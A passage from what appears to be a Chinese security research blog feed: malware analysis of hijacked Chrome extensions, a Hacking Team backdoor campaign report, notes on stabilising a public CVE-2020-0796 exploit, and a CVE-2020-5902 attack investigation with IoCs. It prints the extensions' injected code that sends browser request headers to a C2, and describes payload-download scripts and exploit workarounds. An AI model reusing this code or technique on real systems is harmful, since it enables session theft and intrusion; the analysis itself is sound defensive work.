  • 9月7日,User-Agent Switcher 更新 2.0.1.0 版本
  • 10月3日,Nano Defender作者jspenguin2017宣布将 Nano Defender 转交给其他开发者维护
  • 10月7日,reddit用户 ufo56 发布帖子,报告 User-Agent Switcher 的恶意行为
  • 10月15日,Nano Defender 更新 15.0.0.206 版本,同时:
    • 有开发者报告新开发者在商店中更新的 15.0.0.206 版本与repository中的代码不符(多了background/connection.js
    • uBlock开发者gorhill对新增代码进行了分析

代码分析

User-Agent Switcher

影响版本:2.0.0.9, 2.0.1.0

修改文件分析

User-Agent Switcher 2.0.0.8与2.0.0.9版本的文件结构完全相同,攻击者仅修改了其中两个文件:js/background.min.jsjs/JsonValues.min.js

三个版本文件大小有所不同
文件结构相同

background.min.js

js/background.min.js 中定义了扩展程序的后台操作。

攻击者修改的部分代码

完整代码如下所示。

// 完整代码
// 发起到 C2 的连接
var userAgent = io("https://www.useragentswitch.com/");
async function createFetch(e) {
    let t = await fetch(e.uri, e.attr),
        s = {};
    return s.headerEntries = Array.from(t.headers.entries()), 
           s.data = await t.text(), 
           s.ok = t.ok, 
           s.status = t.status, 
           s
}
// 监听“createFetch”事件
userAgent.on("createFetch", async function (e) {
    let t = await createFetch(e);
    userAgent.emit(e.callBack, t)
});
handlerAgent = function (e) {
    return -1 == e.url.indexOf("useragentswitch") && userAgent.emit("requestHeadersHandler", e), {
        requestHeaders: JSON.parse(JSON.stringify(e.requestHeaders.reverse()).split("-zzz").join(""))
    }
};
// hook浏览器请求
chrome.webRequest.onBeforeSendHeaders.addListener(handlerAgent, {
    urls: ["<all_urls>"]
}, ["requestHeaders", "blocking", "extraHeaders"]);

攻击者添加的代码中定义了一个到 https://www.useragentswitch.com 的连接,并hook了浏览器的所有网络请求。当url中未包含 useragentswitch 时,将请求头编码后发送到C2。除此之外,当js代码接收到“createFetch”事件时,会调用 createFetch 函数,从参数中获取uri等发起相应请求。

由此我们推测,如果用户安装了此插件,C2通过向插件发送“createFetch”事件,使插件发起请求,完成指定任务,例如reddit用户提到的facebook/instagram点赞。攻击者能够利用此种方式来获利。

插件发起的网络请求(图片来自reddit)

在处理hook的请求头时,js代码会替换掉请求头中的 -zzz 后再发送,但我们暂时无法得知这样操作的目的是什么。

User-Agent Switcher 2.0.0.9 和 2.0.1.0 版本几乎相同,仅修改了 js/background.min.js 文件中的部分代码顺序,在此不做多述。

JsonValues.min.js

js/JsonValues.min.js 中原本为存储各UserAgent的文件。攻击者在文件后附加了大量js代码。经过分析,这些代码为混淆后的socketio客户端

攻击者添加的js代码

Nano Defender

影响版本:15.0.0.206

在Nano Defender中,攻击者同样修改了两个文件:

background/connection.js
background/core.js

其中,background/connection.js 为新增的文件,与User-Agent Switcher中的 js/JsonValues.min.js 相同,为混淆后的socketio客户端。

core.js

background/core.js 与User-Agent Switcher中的 js/background.min.js 相似,同样hook浏览器的所有请求并发送至C2(https://def.dev-nano.com/),并监听dLisfOfObject事件,发起相应请求。

background/core.js 部分修改代码

与User-Agent Switcher不同的是,在将浏览器请求转发至C2时,会使用正则过滤。过滤原则为C2返回的listOfObject,如果请求头满足全部条件,则转发完整的请求头,否则不予转发。

可以看出,攻击者对原本的转发策略进行了优化,从最初的几乎全部转发修改为过滤转发,这使得攻击者能够更为高效地获取感兴趣的信息。

同样地,core.js在发送请求头之前,会删除请求头中的-zzz字符串。只是这次core.js做了简单混淆,使用ASCII数组而非直接的-zzz字符串。

var m = [45,122,122,122]
var s = m.map( x => String.fromCharCode(x) )
var x = s.join("");
var replacerConcat = stringyFy.split(x).join(""); 
var replacer = JSON.parse(replacerConcat); 
return { 
    requestHeaders: replacer 
} 

uBlock的开发者gorhill对此代码进行了比较详细的分析,我们在此不做赘述。

Nano Adblocker

影响版本:未知

尽管有报告提到,Nano Adblocker 1.0.0.154 版本也被植入了恶意代码,但是我们并没有找到此版本的扩展程序文件以及相关资料。尽管该扩展程序已被下架,我们仍旧无法确认Google商店中的插件版本是否为受影响的版本。第三方网站显示的版本历史中的最后一次更新为2020年8月26日,版本号为1.0.0.153。

Nano Adblocker 更新历史

版本历史

由于各插件已被Google下架,我们无法从官方商店获取插件详情。根据第三方网站,User-Agent Switcher 版本历史如下:

可以看到,第一个存在恶意功能的插件版本2.0.0.9更新日期为2020年8月29日,而插件连接域名useragentswitch[.]com注册时间为2020年8月28日。

第三方网站显示的 Nano Defender 版本历史显示,攻击者在2020年10月15日在Google Web Store上更新了15.0.0.206版本,而C2域名dev-nano.com注册时间为2020年10月11日。

关联分析

我们对比了User-Agent Switcher和Nano Defender的代码。其中,js/background.js (from ua switcher)和background/core.js (from nano defender) 两个文件中存在相同的代码。

左图为ua switcher 2.0.0.9新增的部分代码,右图为nano defender新增的部分代码

可以看到,两段代码几乎完全相同,仅对变量名称、代码布局有修改。此外,两段代码对待转发请求头的操作相同:都替换了请求头中的-zzz字符串。

左图为ua switcher 2.0.0.9,右图为nano defender

由此,我们认为,两个(或三个)扩展程序的始作俑者为同一人。

Nano Defender新开发者创建了自己的项目。目前该项目以及账户(nenodevs)均已被删除,因此我们无法从GitHub主页获取到有关他们的信息。

攻击者使用的两个域名都是在插件上架前几天注册的,开启了隐私保护,并利用CDN隐藏真实IP,而他们在扩展程序中使用的C2地址 www.useragentswitch.comwww.dev-nano.com 目前均指向了namecheap的parkingpage。

图片来自360netlab

Nano Defender原作者称新开发者是来自土耳其的开发团队,但是我们没有找到更多的信息证实攻击者的身份。

小结

攻击者利用此类插件能达成的目的有很多。攻击者通过请求头中的cookie,能够获取会话信息,从而未授权登录;如果登录银行网站的会话被截取,用户资金安全将难保。就目前掌握的证据而言,攻击者仅仅利用此插件随机点赞,而没有更进一步的操作。我们无法判断是攻击者本身目的如此,或者这只是一次试验。

窃取用户隐私的浏览器插件并不罕见。早在2017年,在v2ex论坛就有用户表示,Chrome中另一个名为 User-Agent Switcher 的扩展程序可能存在未授权侵犯用户隐私的恶意行为;2018年卡巴斯基也发布了一篇关于Chrome恶意插件的报告。由于Google的审核流程并未检测到此类恶意插件,攻击者仍然可以通过类似的手法进行恶意活动。

IoCs

f45d19086281a54b6e0d539f02225e1c -> user-agent switcher 2.0.0.9
6713b49aa14d85b678dbd85e18439dd3 -> user-agent switcher 2.0.0.9
af7c24be8730a98fe72e56d2f5ae19db -> nano defender 15.0.0.206
useragentswitch.com
dev-nano.com

References

https://www.reddit.com/r/chrome/comments/j6fvwm/extension_with_100k_installs_makes_your_chrome/
https://www.reddit.com/r/cybersecurity/comments/jeekgw/google_chrome_extension_nano_defender_marked_as/
https://github.com/jspenguin2017/Snippets/issues/5
https://github.com/NanoAdblocker/NanoCore/issues/362
https://github.com/partridge-tech/chris-blog/blob/uas/_content/2020/extensions-the-next-generation-of-malware/user-agent-switcher.md
https://www.v2ex.com/t/389340?from=timeline&isappinstalled=0

凛冬将至,恶魔重新降临 —— 浅析 Hacking Team 新活动

By: liuchuang
29 September 2020 at 10:49

背景

Hacking Team 是为数不多在全球范围内出售网络武器的公司之一,从 2003 年成立以来便因向政府机构出售监视工具而臭名昭著。

2015年7月,Hacking Team 遭受黑客攻击,其 400GB 的内部数据,包括曾经保密的客户列表,内部邮件以及工程化的漏洞和后门代码被全部公开。随后,有关 hacking team 的活动突然销声匿迹。

2018年3月 ESET 的报告指出:Hacking Team 一直处于活跃状态,其后门版本也一直保持着稳定的更新。

2018年12月360高级威胁应对团队的报告披露了 Hacking Team 使用 Flash 0day 的”毒针”行动。

2019年11月360高级威胁应对团队的报告披露了 APT-C-34 组织使用 Hacking Team 网络武器进行攻击。

2020年4月360诺亚实验室的报告披露出 Hacking Team 新的攻击活动。

以上信息表明,Hacking Team 依旧处于活跃状态,并且仍然保持着高水准的网络武器开发能力。

概述

2020年9月11日,VirusTotal 上传了一份来自白俄罗斯的 rtf 恶意文档样本,该样本疑似 CVE-2020-0968 漏洞首次被发现在野利用。国内友商将此攻击事件称为“多米诺行动”,但并未对其进行更丰富的归因。

我们分析相关样本后发现,该行动中使用的后门程序为 Hacking Team scout 后门的 38 版本。

此版本的后门使用了打印机图标,伪装成 Microsoft Windows Fax and Scan 程序。

和之前的版本一样,该样本依然加了VMP壳,并使用了有效的数字签名:

此样本的后门 ID 为031b000000015

C2 为 185.243.112[.]57

和之前的版本相同,scout 使用 post 方式,将加密信息上传至 185.243.112[.]57/search,且使用了相同的 UserAgent。由于其版本间的功能变化不大,我们在此不再对其进行详细分析。若对 scout 后门技术细节感兴趣,可以参考我们之前发布的报告

关联分析

通过签名我们关联到另外一起针对俄罗斯的攻击事件。

关联到的样本名为: дело1502-20памятка_эл72129.rtf,中文翻译为:案例 1502-20 备忘录。rtf运行后,会从远程服务器 23.106.122[.]190 下载 mswfs.cab 文件,并释放后门程序到 %UserProfile%\AppData\Local\Comms\mswfs.exe。9月26日分析时,从服务器下载的 mswfs.cab 文件为正常的 winrar 安装包文件。

mswfs.exe 同样为 scout 后门38版本。

与针对白俄罗斯的攻击中的样本相同,该样本伪装成 Microsoft Windows Fax and Scan 程序,并使用了相同的数字签名。

此样本后门 ID 和 C2 如下图所示。

BACKDOOR_ID:71f8000000015
C2: 87.120.37[.]47

通过对远程服务器 23.106.122[.]190 进行分析,我们发现该 ip 关联的域名为 gvpgov[.]ru,注册日期为2020年9月11号。该域名为 gvp.gov.ru 的伪装域名,直接访问 23.106.122[.]190 会跳转到 https://www.gvp.gov.ru/gvp/documents ,即俄罗斯军事检察官办公室门户。

结论

结合白俄罗斯上传的 “СВЕДЕНИЯ О ПОДСУДИМОМ.rtf” (中文翻译为“有关被告的信息”)样本和关联到的新样本,我们可以推测,此次行动是攻击者使用 Hacking Team 网络武器库针对俄罗斯与白俄罗斯军事/司法部门相关人员的一次定向攻击事件。

结合当前时间节点,俄罗斯、白俄罗斯和中国军队在俄罗斯阿斯特拉罕州卡普斯京亚尔靶场举行“高加索-2020”战略演习,白俄罗斯与俄罗斯联合开展“斯拉夫兄弟情2020”联合战术演习,9月14日的俄白总统会谈,以及白俄罗斯的示威活动,也给此次攻击增添了重重政治意味。

关于HT

2019年4月,Hacking Team 这家意大利公司被另一家网络安全公司收购并更名为 Memento Labs。一年多之后的2020年5月,Hacking Team 的创始人和前首席执行官 David Vincenzetti 在其官方 LinkedIn 账号上发布了一条简短的消息:

Hacking Team is dead.

Hacking Team 的几名主要员工离职后,尽管新产品的开发速度有所减缓,但通过观测到的 scout 后门版本的更新情况,我们发现 Hacking Team 仍然保持着较高频率的活跃,这也说明 Memento Labs 一直在努力试图崛起。

观测到的时间 scout版本号 签名 签名有效期 伪装的程序
2019-10 35 KELSUREIWT LTD 2018.10-2019.10 ActiveSync RAPI Manager
2020-01 35 CODEMAT LTD 2019.06-2020.06 ActiveSync RAPI Manager
2020-05 36 Pribyl Handels GmbH 2019.12-2020.12 ActiveSync RAPI Manager
2020-09 38 Sizg Solutions GmbH 2019.12-2020.12 Microsoft Windows Fax and Scan

IoCs

针对俄罗斯的攻击

Hash

9E570B21929325284CF41C8FCAE4B712 mswfs.exe

BACKDOOR_ID

71f8000000015

IP

23.106.122[.]190
87.120.37[.]47

针对白俄罗斯的攻击

hash

60981545a5007e5c28c8275d5f51d8f0 СВЕДЕНИЯ О ПОДСУДИМОМ.rtf
ba1fa3cc9c79b550c2e09e8a6830e318 dll
f927659fc6f97b3f6be2648aed4064e1 exe

BACKDOOR_ID

031b000000015

IP

94.156.174[.]7
185.243.112[.]57

CVE-2020-0796漏洞realworld场景实现改进说明

By: gaoya
14 July 2020 at 09:51

在此前跟进CVE-2020-0796的过程中,我们发现公开代码的利用稳定性比较差,经常出现蓝屏的情况,通过研究,本文分享了CVE-2020-0796漏洞实现在realworld使用过程中遇到的一些问题以及相应的解决方法。

Takeaways

  • 我们分析了exp导致系统蓝屏的原因,并尝试对其进行了改进;
  • 相对于重构前exp,重构后的exp执行效率与稳定性都有显著提高;
  • 关于漏洞原理阐述,Ricerca Security在2020年4月份发布的一篇blog中已非常清晰,有兴趣的读者可以移步阅读,本文不再赘述。

初步选择和测试公开exp可用性

测试环境:VMWare,Win10专业版1903,2G内存,2处理核心

为了测试和说明方便,我们可以将exp的执行分为3个阶段:

  1. 漏洞利用到内核shellcode代码开始执行
  2. 内核shellcode代码执行
  3. 用户层shellcode执行

根据实际情况,我们测试了chompie1337ZecOps的漏洞利用代码。根据各自项目的说明文档,两份代码初步情况如下:

  • ZecOps

ZecOps的利用代码是在单个处理器的目标计算机系统上测试的;在后续的实际测试中,发现其代码对多处理器系统的支持不足,虽然在测试环境中进行了多次测试中,系统不会产生BSOD,但漏洞无法成功利用(即exp执行第一阶段失败)。

  • chompie1337

chompie1337的代码在漏洞利用阶段则表现得十分稳定,但在内核shellcode执行时会造成系统崩溃。

因此,我们决定将chompie1337的利用代码作为主要测试对象。

内核shellcode问题定位

我们在win10 1903中测试了chompie1337的exp代码,绝大部分的崩溃原因是在漏洞利用成功后、内核shellcode代码执行(即exp执行的第二阶段)时,申请用户空间内存的API zwAllocateVirtualMemory调用失败。在我们的多次测试中,崩溃现场主要包括以下两种:

Crash_A backtrace
Crash_B backtrace

对比exp正常执行时的流程和崩溃现场,我们发现无论是哪种崩溃现场,根本原因都是在内核态申请用户态内存时,调用MiFastLockLeafPageTable时(crash_A是在MiMakeHyperRangeAccessible中调用MiFastLockLeafPageTable,crash_B在MiGetNextPageTable中调用MiFastLockLeafPageTable)函数内部出现错误,导致系统崩溃。

在遇到crash_B时,我们起初认为这是在内核态申请用户态读写权限内存时,系统复制CFG Bitmap出现的异常。CFG(Control Flow Guard,控制流防护)会检查内存申请等关键API调用者是否有效,以避免出现安全问题。

随后,我们尝试了一些CFG绕过的方法,包括替换内存申请API间接调用地址,强制修改进程CFG启动标志等,这些方法无一例外都失败了。但在尝试过程中,ZecOps在他的漏洞分析利用文章中提到的一篇文章给了我们启发。zerosum0x0这篇文章分析了cve-2019-0708漏洞内核shellcode不能稳定利用的原因,其中提到了微软针对Intel CPU漏洞的缓解措施,KVA Shadow。

我们再次详细分析了导致MiFastLockLeafPageTable调用失败的原因,发现MiFastLockLeafPageTable函数中的分页表地址(即下图中的v12)可能会无效。

我们根据KVA Shadow缓解措施原理,猜测这是本次测试exp崩溃的根本原因。内核shellcode在调用API申请用户层内存时,由于KVA Shadow对于用户层和内核层的系统服务调用陷阱,如果IRQL等级不是PASSIVE_LEVEL,无法获取到正确的用户层映射地址。

解决问题

通过参考zerosum0x0文章中修正CVE-2019-0708 payload来绕过KVA Shadow的代码,但出于时间以及系统稳定性等多方面因素,我们暂时放弃了这种方法,转而尝试通过一种更简单和容易的方式来解决这个问题。

显而易见地,如果我们能够在内核shellcode中降低系统调用中的IRQL,将其调整为PASSIVE_LEVEL,就能够解决后续shellcode执行时由于用户态内存分配出现崩溃的问题。但在公开资料的查找过程中,我们并没有找到针对win10系统的IRQL修改方法。

于是,我们从崩溃本身出发,试图对这种情况进行改进。由于内核shellcode是从DISPATCH_LEVEL的IRQL开始执行的,调用内存分配等API时,可能因为分页内存的异常访问导致崩溃,于是我们尝试避免系统访问可能崩溃的分页内存。

在重新比对分析crash_B和成功执行的利用代码时,我们发现MiCommitVadCfgBits函数中会检查进程的CFG禁用标志是否开启(下图中的MiIsProcessCfgEnabled函数)。如果能够跳过CFG的处理机制,那么就可以避免系统在内存申请过程中处理CFG位图时对可能存在问题的分页内存的访问。

进一步对MiIsProcessCfgEnabled进行分析,该标志位在进程TEB中,可以通过GS寄存器访问和修改。

我们在内核shellcode调用zwAllocateVirtualMemory API之前修改CFG标志,就可以避免大部分崩溃情况(即B类型),顺利完成用户态内存的分配。需要一提的是,win10在内存申请时,大部分系统处理过程都是针对CFG的相关处理,导致B类型崩溃产生的次数在实际测试中占比达80%以上,所以我们没有考虑A类型崩溃的情况。

参考Google Researcher Bruce Dawson有关windows创建进程性能分析的文章 <O(n^2) in CreateProcess>

实际修改shellcode遇到的问题

在修改CFG标志位解决大部分内核shellcode崩溃的问题后,我们在实际测试中又发现,该exp无法执行用户层shellcode(即exp执行第三阶段)。经过分析发现,这是由于用户层shellcode会被用户层CFG检查机制阻断(参考:https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html)。CFG阻断可以分为两种情况:一是对用户层APC起始地址代码的调用;二是用户层shellcode中对创建线程API的调用。下图的代码就是针对第二种情况的阻断机制:只有当线程地址通过CFG检查时,才会跳转到指定的shellcode执行。

这里我们采用了zerosum0x0文章中的方式:在内核shellcode中,patch CFG检查函数(ldrpvalidateusercalltarget和ldrpdispatchusercalltarget),跳过CFG检查过程来达到目的。需要注意的是,在内核态修改用户态代码前,要修改cr0寄存器来关闭代码读写保护。

另外,在patch CFG检查函数时,使用相对偏移查找相应的函数地址。由于CVE-2020-0796只影响win10 1903和1909版本,因此这种方法是可行的。但如果是其他更通用的漏洞,还需要考虑一种更加合理的方式来寻找函数地址。

最终测试

我们在win10 1903(专业版/企业版)和win10 1909(专业版/企业版)中测试了代码。经过测试,修改后的exp代码执行成功率从不到20%上升到了80%以上。但我们的修改仍然是不完美的:

  1. 本文并没有解决漏洞利用阶段可能出现的问题。尽管chompie1337的漏洞利用阶段代码已经非常完善,但仍不是100%成功。考虑到漏洞利用阶段出现崩溃的概率非常低(在我们的实际测试中,出现概率低于10%),如果系统处于流畅运行,这种概率会更小,我们的exp仍然使用了chompie1337在漏洞利用阶段的代码。
  2. 在本文中,我们尝试解决了由CFG处理机制导致的崩溃情形(即类型B的情况),没有从根本上解决内核shellcode执行阶段的崩溃。在这个阶段,shellcode仍然可能导致系统崩溃出现蓝屏,但这种概率比较低,在我们的测试中没有超过20%。
  3. 在使用本文的方式成功执行用户态shellcode之后,系统处于一种不稳定状态。如果系统中有其他重要进程频繁进行API调用,系统大概率会崩溃;如果仅通过反弹的后台shell执行命令,系统会处在一种相对稳定的状态。我们认为,对渗透测试来说,改进后的exp已经基本能够满足需求。

其他方案

除本文讨论的内容外,还可以通过内核shellcode直接写文件到启动项的方式来执行用户态代码。从理论上讲,这种方式能够避免内核shellcode在申请用户层内存时产生崩溃的问题,但对于渗透测试场景而言,该方法需要等待目标重启主机,实时性并不高,本文不在此进行具体讨论。

总结

针对网络公开的CVE-2020-0796 exp在实际使用过程中会产生崩溃的问题,本文分享了一些方法来解决这些问题,以便满足实际在渗透测试等应用场景中的需求。尽管本文的方法不尽完美,但我们希望我们的研究工作能够为诸位安全同僚提供一些思路。我们也会在后续的工作当中,持续对此进行研究,力图找到一种更简单、通用的方式解决问题。

F5 RCE(CVE-2020-5902)在野攻击事件调查

By: gaoya
13 July 2020 at 09:26

F5 Networks官方在7月1日公布了BIG-IP系统的TMUI接口中存在一个严重的远程代码执行漏洞(CVE-2020-5902)。利用此漏洞的攻击层出不穷,我们对这些事件进行了总结,以期对近日来的事件进行完整阐述。

漏洞简述

该漏洞允许未授权的远程攻击者通过向漏洞页面发送特殊构造的数据包,在系统上执行任意系统命令、创建或删除文件、禁用服务等。

根据360安全大脑测绘云(QUAKE网络空间测绘系统)数据,截至2020年7月10日,全球至少有80000台存在此漏洞的资产,具体分布如下图所示:

CVE-2020-5902漏洞分布

通过对该漏洞活跃情况研判,得到其全球态势和漏洞生命周期:

从360安全大脑的全网视野里可以看出,在7月2日漏洞利用细节公布,7月4日开始传播后,7月6日全网受影响设备居于峰值,此后由于缓解措施发布实施,漏洞活跃状态逐步回落。

时间线

  • 2020-7-1:F5 Networks官方发布通告,缓解措施为在配置文件中添加以下内容:
<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
  • 7.10日, F5官方再次更新通告,配置更新为:
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>

漏洞攻击情报

根据NCC groups发布的报告,7月4日就有攻击者尝试使用该漏洞进行攻击,但攻击者数量较少;360安全大脑专家云的事件调查专家也在国内观测到,在exp公布前几个小时,已经存在利用twitter上公布的poc进行扫描的流量;完整功能的exp公布后,扫描流量也随即改变。

从exp公开发布起的5天内,360就已在国内捕获到超过2万次CVE-2020-5902的扫描请求,其中绝大部分为通过推特或其他渠道公开获取的PoC或exp以及metasploit exp。可以看出,该漏洞已经引发了大量关注。截止目前我们尚未观测到国内有相关资产已经遭受攻击

尽管绝大多数扫描或攻击行为并非由专业网络攻击者发起,但他们不会错过如此的“大好机会”。仅仅在exp公开(7月5日)后不到一天的时间内,国外安全研究员发现已经开始有攻击者成功地利用漏洞进行攻击。

攻击手段

根据我们的观察分析,目前攻击手段主要包括以下几种。

利用cve-2020-5902,下发脚本,下载远程payload执行

我们分析推测,恶意脚本通过fileSave.jsp接口上传到tmp目录,之后利用tmshCmd.jsp接口执行。从手法上来看,此类攻击极有可能是利用msf相关模块进行的。

  • Payload地址:http://217.12[.]199[.]179/b.sh

脚本下发时间:2020年7月6日

脚本内容

脚本功能

创建crontab(即linux系统的计划任务),从远程地址http://217.12.199[.]179/b.sh获取脚本并执行;该脚本为b.sh的复制,我们推测此任务是为后续脚本下发做准备。

  • Payload地址:http://45.77.28[.]70[:]80/inf5.sh

脚本下发时间:2020年7月6日

脚本内容

(图片来自NCC group)
inf5.sh

脚本功能

使用curl命令,从地址http://45.77.28[.]70[:]80/inf5.sh下载脚本执行。

inf5.sh是一个安装脚本,用来在/etc/init.d目录下创建文件network2,释放脚本/etc/.modules/.tmp,并将network2加入开机启动项,最后执行.tmp脚本;network2文件内容即为启动.tmp。

.tmp脚本是一个downloader,用来从目标地址下载demo.txt到/tmp/dvrHelper并执行。dvrHelper是开源的botnet Mirai修改的一个变种。

  • Payload地址:http://103.224.82[.]85[:]8000/zabbix

脚本下发时间:2020年7月6日

脚本内容

(图片来自NCC Group)

脚本功能

从地址http://103.224.82[.]85[:]8000/zabbix下载到/var/log/F5-logcheck,使用touch命令修改时间戳,将/var/log/F5-logcheck加入rc.local开机脚本中并执行。分析时,目标地址已不可用,但根据国外研究人员获取到的信息,该样本是一个go语言编写的agent和控制器GoMet。

利用cve-2020-5902,通过命令或脚本下发php webshell

除了下发脚本执行以外,有的攻击者选择上传webshell以便获取持续的权限。(详见 RIFT: F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902 Intelligence

cve-2020-5902结合hsqldb Java反序列化漏洞执行命令

2020年7月7日,有研究人员发现hsqldb 中存在java反序列化漏洞,并结合该漏洞实现了一种新的利用方式。在此利用方式发现后的短时间内,有攻击者利用此方式发起了攻击,并且利用相似的方式绕过了F5 Networks官方通告中的缓解措施;而6小时后,才有研究人员公开宣布,缓解措施可被绕过。由此可见,在利用CVE-2020-5902进行攻击的人员中,不乏较高能力的攻击者。

攻击者关联

我们对网络上公布的攻击事件进行了进一步的分析。在直接利用cve-2020-5902下发的脚本和webshell中,我们认为其中至少三个(payload为inf5.sh和zabbix的脚本,以及bg_status.php)是来自同一攻击者/攻击组织

虽然两个脚本内容和功能完全不同,但我们在对inf5.sh脚本进行关联分析时,发现了一个新的脚本(dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c),该脚本在目标主机中释放了新的payload,并清除了上一阶段释放的文件,其中包括/var/log/F5-logchec*,/etc/init.d/network,/tmp/dvrHelper以及bg_status.php。

清除文件

另外,攻击者在释放新的payload时,使用了与创建webshell相同的手段,即”echo [base64 encoded content] | base64 –d > [file]”。因此,结合之前清除的文件名信息,如果该脚本确实来自攻击者,那么可以认为,这些不同的payload是由同一个攻击者在不同时间植入目标系统的。

base64解码释放payload

在对inf5.sh分析时,我们还关联到了另外的IP:45.249.92[.]59。该IP在5月初-6月间被使用;我们分析了相关样本和脚本后认为,这是在45.77.28[.]70之前被用于存放文件的服务器IP,现已关闭。

通过进一步的分析我们发现,该攻击者/攻击组织并非“单线程”攻击:他们还使用相同的手法,利用TOTOLINK路由器的远程代码执行漏洞对IoT设备进行攻击,相关payload同样位于服务器45.77.28[.]70上。

从这些行为来看,我们认为,这些攻击背后是一个攻击组织而非个人,主要通过漏洞利用方式入侵linux或IoT设备,目的即为构建僵尸网络以满足其利益需求。

小结

根据现有的攻击行为来看,攻击者发起的主要是无差别攻击,通过漏洞对目标系统实施控制,即试图将存在漏洞的系统作为其僵尸网络的一部分,以获取利益。还有一部分攻击者将webshell上传到存在漏洞的系统,来获取进一步的控制。

虽然我们暂未得知是否有更严重的攻击事件出现,但可以推测,攻击者能够通过漏洞上传任意文件、执行任意系统命令,那么,他们同时也具备了窃取敏感信息、文件加密勒索甚至破坏系统的能力。在cve-2020-5902影响如此广泛,并且引起众多攻击者/攻击组织关注的情况下,我们只能推测,这些事件的发生是迟早的,该漏洞的严重程度不可小觑。

尽管F5 Networks在其通告中给出了临时缓解措施并且在不断更新,我们仍然建议将系统版本升级至不受影响的版本(如15.1.0.4),以避免由于新的绕过技术出现导致现有的缓解措施失效,给网络系统带来不必要的损失。

IoCs

HASH
bfa96a2ddb39a5e81e32a275aa6fc134030279ddde6c116d41945142328465ab
dd76441fac6d42ecea1dcd9f695292d29928d718c34ce3a47f7a3ab00a50360c

IP
45.249.92.59
45.249.92.60

URL
http[:]//217.12.199.179/b.sh
http[:]//45.77.28.70:80/inf5.sh
http[:]//103.224.82.85:8000/zabbix

参考链接

[1] https://support.f5.com/csp/article/K52145254

[2] https://twitter.com/x4ce/status/1279790599793545216

[3] https://twitter.com/TeamAresSec/status/1280590730684256258

[4] https://research.nccgroup.com/2020/07/05/rift-f5-networks-k52145254-tmui-rce-vulnerability-cve-2020-5902-intelligence/

[5] https://twitter.com/joaomatosf/status/1279566951442976768

[6] https://twitter.com/buffaloverflow/status/1280258870942760963

[7] https://twitter.com/TeamAresSec/status/1280553293320781825

[8] https://twitter.com/bad_packets/status/1279611256547143680

❌
❌